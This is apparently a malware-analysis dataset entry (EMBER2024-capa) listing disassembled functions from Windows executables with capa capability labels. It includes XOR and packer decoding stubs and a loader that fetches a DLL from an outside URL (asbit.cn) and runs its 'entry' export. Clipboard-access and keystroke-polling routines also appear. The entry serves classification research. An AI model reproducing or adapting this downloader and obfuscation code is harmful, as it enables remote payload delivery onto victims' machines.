joyce8/EMBER2024-capa huggingface dataset:
Function at 0x806058
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x80605e
pop ebp
sub ebp, 6
sub ebp, 0x406058
jmp 0x8060bc
jmp 0x8060c5
mov eax, 0x406058
add eax, ebp
add eax, 0x93
mov ecx, 0x63b
mov edx, 0x11a110fd
xor byte [eax], dl
inc eax
dec ecx
jne 0x8060dc
jmp 0x8060ef
xchg edi, eax
mov ebp, 0xfdedfd95
std
xchg ebp, eax
std
xor ecx, edx
std
into
cmp eax, 0xfd6802ad
sub al, 0xcb
std
lodsd eax, dword [esi]
jbe 0x806137
jbe 0x80617d
sar ebp, 0xfd
std
jl 0x80614b
add eax, 0xfefdfdfd
xor byte [ebp - 5], al
std
std
std
inc edi
aad 0xfd
std
std
or bl, byte [edi]
invalid
rcr ecx, 1
xchg ebp, eax
std
std
std
std
adc eax, 0xfdfdfdf8
adc al, 0xd7
std
std
std
test al, 0x70
xchg ecx, eax
fscale
jbe 0x8061c7
cmc
std
std
std
jbe 0x8061bd
int1
std
std
std
jbe 0x8061cb
in eax, dx
std
std
std
cmp al, 0x14
dec esp
invalid
invalid
std
xchg ebp, eax
dec ecx
fcmove st(0), st(2)
std
cld
rcr ecx, 1
lodsb al, byte [esi]
adc eax, 0xfdfdfdf8
adc al, 0xb6
invalid
mov al, byte [0xc7c8734]
cdq
mov al, byte [0x34ce8734]
jl 0x8061c4
pop ds
xchg edi, eax
fiadd word [esp + edi*2]
nop dword [edi + 0x2fce04de]
fiadd word [esi + ecx*8]
das
jle 0x8061d8
adc eax, 0x79f2b5f8
clc
mov ch, 0xf2
jns 0x80617b
mov bl, 0xfd
std
std
std
bnd jne 0x806183
std
std
std
wait
jbe 0x8061b5
les edi, [ebp + 6]
adc eax, 0xfde779f2
bnd jns 0x8061c2
std
std
std
jge 0x8061e6
adc al, 0xf2
jns 0x8061d0
std
std
std
wait
jl 0x8061f0
add bl, al
bnd jns 0x8061d7
std
std
std
mov esp, 0x2023114
add dl, ah
mov cl, 0xc4
cld
jle 0x80623a
clc
jle 0x806216
stc
adc al, 0x40
add al, byte [edx]
add dl, ah
test eax, 0x3c7effc4
sti
jle 0x806227
stc
jle 0x806228
clc
adc al, 0x56
add al, byte [edx]
add ah, byte [eax - 0x57020ec1]
jbe 0x806231
stosd dword es:[edi], eax
stosb byte es:[edi], al
test al, 0x76
mov cl, dh
jbe 0x8061a8
xor ch, 1
dec edi
jge 0x8062a4
cmc
add dword [edi + 0x7d], ecx
ja 0x806229
sti
jl 0x80626b
cmp edi, esp
cld
std
std
std
jne 0x806230
jl 0x806272
cld
std
std
std
inc esi
invalid
mov ebx, 0x7ef22fef
xchg edi, eax
std
std
std
into
cmp eax, 0x78f22fff
clc
bnd js 0x806266
std
std
std
ja 0x80625e
jmp 0x80622f
mov ebx, 0x7ef22fef
xlatb
cld
std
std
jmp [edi]
mov ebx, 0x3dee2fef
jmp [edi]

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
mov ecx, 0x34c44da0
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43304e
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x433024
nop
mov eax, section..rsrc
mov ebx, 0x4304d8
nop
nop
mov ecx, 0x5ae20853
nop
nop
nop
nop
test eax, eax
je 0x433084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x401000
Capabilities:
Delete file
Download and write a file
Download url
Get common file path
Move file
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
mov eax, dword [0x412004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
push edi
push ebx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push ebx
push 0
push 0x410d50
push ebx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push 4
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
xor edi, edi
lea eax, [ebp - 0x114]
push edi
push edi
push eax
push esi
push edi
mov dword [ebp - 0x114], edi
call dword [sym.imp.urlmon.dll_URLOpenBlockingStreamW]
test eax, eax
jne 0x4010da
push eax
push 0x80
push 2
push eax
push eax
push 0x40000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4010da
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x114]
lea edx, [ebp - 0x10c]
push edx
push 0x104
mov dword [ebp - 0x10c], 0
lea edx, [ebp - 0x108]
mov ecx, dword [eax]
push edx
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x4010d3
mov eax, dword [ebp - 0x10c]
test eax, eax
je 0x4010d3
push 0
lea ecx, [ebp - 0x110]
push ecx
push eax
lea eax, [ebp - 0x108]
push eax
push esi
call ebx
mov edi, eax
test edi, edi
jne 0x401082
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x114]
test ecx, ecx
je 0x4010ea
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004012ad
mov esp, ebp
pop ebp
ret
Function at 0x401100
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x624
mov eax, dword [0x412004]
xor eax, ebp
mov dword [ebp - 4], eax
push str.55d33c2d5fd84cfa92b675bb8ecd873c
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x401247
push 0x410d9c
push str.off
call fcn.00401e15
test eax, eax
push 0x410d9c
push str.on
setne byte [ebp - 0x620]
call fcn.00401e15
test eax, eax
lea eax, [ebp - 0x20c]
push 0x208
push 0
push eax
setne byte [ebp - 0x624]
call fcn.00402380
push str.install
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.00402fb0
add esp, 0x28
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveBlanksW]
push 0x208
lea eax, [ebp - 0x414]
push 0
push eax
call fcn.00402380
push 0
call fcn.00403025
push edx
push eax
lea eax, [ebp - 0x414]
push str.http:__asbit.cn_v2_loader.core___I64x
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
push 0x208
lea eax, [ebp - 0x61c]
push 0
push eax
call fcn.00402380
lea eax, [ebp - 0x61c]
push eax
lea eax, [ebp - 0x414]
push eax
call sym.Loader.exe_URLDownloadToTempFile
add esp, 0x34
test eax, eax
je 0x401235
lea eax, [ebp - 0x61c]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
test eax, eax
je 0x401247
push str.entry
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x401235
push dword [ebp - 0x620]
lea ecx, [ebp - 0x20c]
push dword [ebp - 0x624]
push ecx
push sym.Loader.exe_URLDownloadToTempFile
call eax
add esp, 0x10
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004012ad
mov esp, ebp
pop ebp
ret 0x10
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
call fcn.004012ad
mov esp, ebp
pop ebp
ret 0x10

Function at 0x401ae3
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401b22
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401b22
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401b22
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401b22
cmp dword [ecx + 0x74], 0xe
jbe 0x401b22
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x40bb20
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40bb4d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40bb4d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x402b20
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00404694
test esi, esi
jne 0x402b56
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00404784
jmp 0x402b74
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.00402a34
mov edi, eax
test esi, esi
je 0x402b74
cmp dword [ebx], 0
je 0x402b74
dec esi
jmp 0x402b5d
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x4030bc
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x4cc008], 0x8088405
inc edx
mov dword [ebx + 0x4cc008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x4036b8
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x4cc010]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403750
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403730
xor eax, eax
push ebp
push 0x403729
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x40376c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403730
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x4cc010]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x4cc010], ax
mov esp, ebp
pop ebp
ret

Function at 0x404518
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x4cf04c], 0
je 0x404579
cmp word [0x4cf220], 0xd7b2
jne 0x404541
cmp dword [0x4cf228], 0
jbe 0x404541
mov eax, 0x4cf21c
call dword [0x4cf238]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x4cc058
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x4045a0
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x4cc020], 0
jne 0x404595
push 0
push 0x4cc078
push 0x4cc058
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x40c1d0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40c209
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00404784
jmp 0x40c212
mov eax, ebx
mov edx, esi
call fcn.004046e8
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40c21c
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40c23d
mov al, byte [esp]
jmp 0x40c23f
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40c8c4
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x40c73c
mov eax, dword [0x4ce17c]
cmp byte [eax], 0
je 0x40c92c
mov eax, dword [0x4cde8c]
call fcn.00402ee0
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.0040940c
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40c974
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40c962
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x4cde1c]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x4cf718]
call fcn.00406078
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret

Function at 0x40d718
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x40d77c
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.004048fc
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.00409104
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40d783
lea eax, [ebp - 0xc]
call fcn.00404694
ret
Function at 0x421474
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x4cfa24
cmp dword [edi], 0
jne 0x4214f0
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x4cfa20]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x4cc538
mov ecx, 2
call fcn.004029f4
mov edx, 0x42144c
lea eax, [esi + 5]
call fcn.0042146c
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.0042146c
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x4214c5
mov dword [0x4cfa20], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x422a84
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x422a8a
ret

Function at 0x425098
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
dec ecx
js 0x4250e9
lea eax, [ebp - 0x2c]
cmp word [eax + 0x20], 3
je 0x4250d0
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x4250c0
jmp 0x4250e9
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x4250d1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x434a94
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push esi
xor ecx, ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x434b93
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.00444350
mov eax, dword [ebp - 4]
cmp byte [eax + 0x210], 0
je 0x434b7d
call sub.kernel32.dll_GetTickCount
mov edx, dword [ebp - 4]
sub eax, dword [edx + 0x220]
cmp eax, 0x1f4
jb 0x434af1
mov eax, dword [ebp - 4]
add eax, 0x21c
call fcn.00404694
call sub.kernel32.dll_GetTickCount
mov edx, dword [ebp - 4]
mov dword [edx + 0x220], eax
mov eax, dword [ebp - 8]
mov al, byte [eax]
cmp al, 8
je 0x434b27
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 8]
mov dl, byte [edx]
call fcn.00404874
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
add eax, 0x21c
call fcn.00404954
jmp 0x434b49
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x21c]
call fcn.0040494c
mov edx, eax
mov eax, dword [ebp - 4]
add eax, 0x21c
mov ecx, 1
call fcn.00404be4
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x21c]
call fcn.0040494c
test eax, eax
jle 0x434b64
push ebp
call fcn.004349ac
pop ecx
jmp 0x434b7d
xor edx, edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 0xcc]
mov eax, dword [ebp - 4]
mov si, 0xffeb
call fcn.00403a44
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x434b9a
lea eax, [ebp - 0xc]
call fcn.00404694
ret

Function at 0x43847c
Capabilities:
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x18]
push 1
call sub.user32.dll_GetClipboardData
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x4384ee
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 8], 0
je 0x4384c2
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_GlobalLock
mov edx, eax
mov eax, ebx
call fcn.00404884
jmp 0x4384c9
mov eax, ebx
call fcn.00404694
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4384f5
cmp dword [ebp - 8], 0
je 0x4384e5
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_GlobalUnlock
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x14]
ret
Function at 0x4384fc
Capabilities:
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x18]
xor edx, edx
push ebp
push 0x43859e
push dword fs:[edx]
mov dword fs:[edx], esp
push 0
call sub.user32.dll_EnumClipboardFormats
mov ebx, eax
test bx, bx
je 0x438571
mov edx, ebx
mov eax, dword [0x422548]
call fcn.004268fc
test al, al
je 0x438561
movzx eax, bx
push eax
call sub.user32.dll_GetClipboardData
mov esi, eax
push 9
call sub.user32.dll_GetClipboardData
push eax
mov ecx, esi
mov edx, ebx
mov eax, edi
call fcn.0042680c
call fcn.00404184
jmp 0x4385a5
movzx eax, bx
push eax
call sub.user32.dll_EnumClipboardFormats
mov ebx, eax
test bx, bx
jne 0x43852c
mov ecx, dword [0x4cde08]
mov dl, 1
mov eax, dword [0x407f2c]
call fcn.0040ca94
call fcn.004040d8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4385a5
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x14]
ret
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret

Function at 0x4385ac
Capabilities:
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x18]
xor eax, eax
push ebp
push 0x438604
push dword fs:[eax]
mov dword fs:[eax], esp
push 2
call sub.user32.dll_GetClipboardData
mov ebx, eax
push 9
call sub.user32.dll_GetClipboardData
mov esi, eax
push esi
mov ecx, ebx
mov dx, 2
mov eax, edi
mov ebx, dword [eax]
call dword [ebx + 0x5c]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43860b
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x14]
ret

Function at 0x438614
Capabilities:
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x18]
xor edx, edx
push ebp
push 0x438669
push dword fs:[edx]
mov dword fs:[edx], esp
push 3
call sub.user32.dll_GetClipboardData
mov ebx, eax
push 9
call sub.user32.dll_GetClipboardData
push eax
mov ecx, ebx
mov dx, 3
mov eax, esi
mov ebx, dword [eax]
call dword [ebx + 0x5c]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x438670
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x14]
ret
Function at 0x4386e0
Capabilities:
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x18]
xor eax, eax
push ebp
push 0x438755
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.004383b8
xor eax, eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 8]
lea edx, [ebp - 0xa]
mov eax, ebx
call fcn.004268d0
mov eax, dword [ebp - 8]
push eax
movzx eax, word [ebp - 0xa]
push eax
call sub.user32.dll_SetClipboardData
cmp dword [ebp - 0x10], 0
je 0x43873f
mov eax, dword [ebp - 0x10]
push eax
push 9
call sub.user32.dll_SetClipboardData
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43875c
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x14]
ret

Function at 0x438764
Capabilities:
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x18]
xor eax, eax
push ebp
push 0x4387d9
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.004383b8
xor eax, eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 8]
lea edx, [ebp - 0xa]
mov eax, ebx
mov ebx, dword [eax]
call dword [ebx + 0x60]
mov eax, dword [ebp - 8]
push eax
movzx eax, word [ebp - 0xa]
push eax
call sub.user32.dll_SetClipboardData
cmp dword [ebp - 0x10], 0
je 0x4387c3
mov eax, dword [ebp - 0x10]
push eax
push 9
call sub.user32.dll_SetClipboardData
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4387e0
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x14]
ret

Function at 0x4394f8
Capabilities:
Enumerate gui resources

Disassembly:
mov byte [eax + 0xc], 0
mov byte [eax + 0xd], 0
xor edx, edx
mov dword [eax + 4], edx
push eax
push 0x439444
call sub.user32.dll_EnumWindows
ret

Function at 0x43961c
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x439699
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.00439068
call sub.kernel32.dll_GetTickCount
mov ebx, eax
push 0
call sub.kernel32.dll_Sleep
call sub.kernel32.dll_GetTickCount
sub eax, ebx
cmp eax, 0x3e8
jbe 0x439641
lea ecx, [ebp - 4]
xor edx, edx
mov eax, esi
call fcn.00438cc0
cmp dword [ebp - 4], 0
je 0x439683
push 0
push 9
mov eax, dword [ebp - 4]
call fcn.00404b44
push eax
mov eax, dword [esi + 0x1c]
mov edx, dword [eax]
call dword [edx + 0xc]
push eax
call sub.user32.dll_WinHelpA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4396a0
lea eax, [ebp - 4]
call fcn.00404694
ret
Function at 0x43c74c
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
mov esi, eax
lea edi, [ebp - 9]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x10], edx
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [0x4cfbb4], 0
je 0x43c89b
push 0x11
call sub.user32.dll_GetKeyState
test ax, 0x8000
setne al
mov edx, dword [0x4ce0e0]
mov edx, dword [edx]
xor al, byte [edx + 0xb4]
je 0x43c89b
mov eax, dword [0x4cfbb8]
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [0x4cfbb4]
mov ebx, dword [eax + 8]
dec ebx
test ebx, ebx
jl 0x43c86a
inc ebx
xor edi, edi
mov edx, edi
mov eax, dword [0x4cfbb4]
call fcn.0041862c
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x10]
je 0x43c862
mov eax, dword [ebp - 0x14]
cmp byte [eax + 0x1a6], 0
je 0x43c862
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
call dword [edx + 0x50]
test al, al
je 0x43c862
mov eax, dword [ebp - 0x14]
call fcn.00445320
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x43c862
push ebp
call fcn.0043c708
pop ecx
test al, al
jne 0x43c862
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xa0]
cmp eax, dword [ebp - 0x14]
jne 0x43c81e
mov eax, dword [ebp - 0x14]
call fcn.00443eb4
dec eax
jle 0x43c862
mov byte [ebp - 1], 1
lea eax, [ebp - 9]
push eax
lea eax, [ebp - 1]
push eax
lea ecx, [ebp - 0x28]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov si, 0xffbd
call fcn.00403a44
cmp byte [ebp - 1], 0
je 0x43c862
push dword [ebp - 5]
push dword [ebp - 9]
lea eax, [ebp - 0x28]
push eax
call sub.user32.dll_PtInRect
test eax, eax
je 0x43c862
mov edx, dword [ebp - 0x14]
mov eax, dword [0x4cfbb8]
call fcn.0043bed0
inc edi
dec ebx
jne 0x43c7b1
mov eax, dword [0x4cfbb8]
cmp dword [eax + 8], 0
jle 0x43c882
mov eax, dword [0x4cfbb8]
call fcn.0043bf60
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x43c89b
push ebp
mov eax, dword [ebp - 0x18]
call fcn.0043c570
pop ecx
test al, al
jne 0x43c89b
xor eax, eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret